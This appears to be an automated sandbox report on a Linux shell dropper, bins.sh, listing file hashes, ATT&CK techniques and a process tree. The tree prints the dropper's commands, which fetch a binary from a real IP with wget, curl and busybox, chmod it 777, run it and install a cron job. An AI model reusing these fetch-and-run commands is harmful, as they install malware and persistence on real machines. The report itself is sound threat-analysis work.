6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/12/2024, 22:31

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General

Target

bins.sh
Size

10KB
MD5

7187e723d6c6ea19e696987e38c40047
SHA1

2c99d3c07e904340b7d1bcec7afd801fd513c89b
SHA256

6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9
SHA512

809dbae9c9c2c1d24653f28bc97f465a8db299c250acee7370187698501afba9c55cd1935d07ed5054a10bfa753648c8f951ac7d1cc04c4818674bc67c1cef85
SSDEEP

192:hWHDT6y8LZfhfRfBfMfwfvg8UzTNR9+B1te+SbtRp+eQjfhfRfBfMfwfrg8UzT/U:hFLhpZJGier+B1te+S2TpZJGiRB1te+x

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	688	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

Renames itself 1 IoCs

pid	Process
689	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TxgGaB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/272/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/708/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/733/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/788/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/406/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/698/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/852/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/828/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/856/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/258/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/645/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/650/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/712/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/721/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/729/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/757/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/783/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/850/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/860/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/884/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/26/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/745/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/782/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/845/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/29/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/344/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/802/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/835/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/859/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/892/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/13/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/300/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/697/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/702/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/758/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/771/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/151/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/716/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/725/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/814/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/714/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/763/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/857/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/879/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/11/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/795/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/853/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/76/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/817/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/888/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/273/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/791/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/803/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/833/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/837/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/893/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/883/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/291/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/657/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/718/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/834/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/865/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/108/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
File opened for reading	/proc/737/cmdline	g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	wget
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	curl
File opened for modification	/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:653
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Writes file to tmp directory
  PID:664
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  ./g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:688
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:690
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:691
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:695
- /bin/rm
  rm g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
  2⤵
  PID:699
- /usr/bin/wget
  wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
  2⤵
  PID:702

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.TxgGaB

Filesize
210B

MD5
36ef50a4c7c5111de6cb32084d008ed1

SHA1
f4b2afdde330bbc809d52c2d28525fa0b8f30a24

SHA256
7589c71ad368ff14c6a059bcfe2db02f2917d78835525cc4e1b39cfcd84837a3

SHA512
36a7b56b7f9beb07db1d4e60dd3259c64675ee53f9acdeba502d62fad3febbc7c6f54f06f38772ed3340c99d67c020a5a5caa6aa63f6b48de1515bd8a2d80ba0

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads